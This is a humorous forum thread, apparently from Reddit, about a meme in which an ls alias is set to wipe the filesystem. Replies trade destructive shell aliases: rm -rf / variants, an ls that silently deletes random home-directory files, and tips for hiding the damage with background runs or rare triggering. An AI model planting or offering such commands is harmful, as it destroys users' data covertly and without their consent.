Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root'
to the end of ~/.zshrc
Joke’s on you, I have transcended using
ls
because I have my entire folder structure memorized.clones a git repo
“Real” linux users never exit vim and just use the internal shell there, so they are protected.
Only because exiting vim is still long lost knowledge.
Legend has it that the Elders knew of a world outside Vim, a world that encompasses it and all other things. That arcana is now lost, and none can transcend our plane of existence. Vim is all we know.
Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"
This line erases one random file from your home directory and then uses ls as normal. You won’t know what vanished until you need it or it removes a needed library or binary.
Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.

You monster
the first command will take too long (and will be very obvious that something is wrong if it takes forever for
ls
to actually list everything), better run it in the background with &
sudo chmod -x /bin/chmod
I used the stones to destroy the stones
alias sudo="sudo rm -rf /"
you need no preserve root otherwise it will fail
Or you can just do /*, which is shorter
ha, I use
eza
Ha, I use fish
That sudo might save the poor victims ass if they’re awake enough to wonder “why does it ask for password when I’m just doing ls?”
Otherwise it’s a good lesson in always having backups / easy way to reproduce your setup.
Unless they updated their system with Sudo shortly before
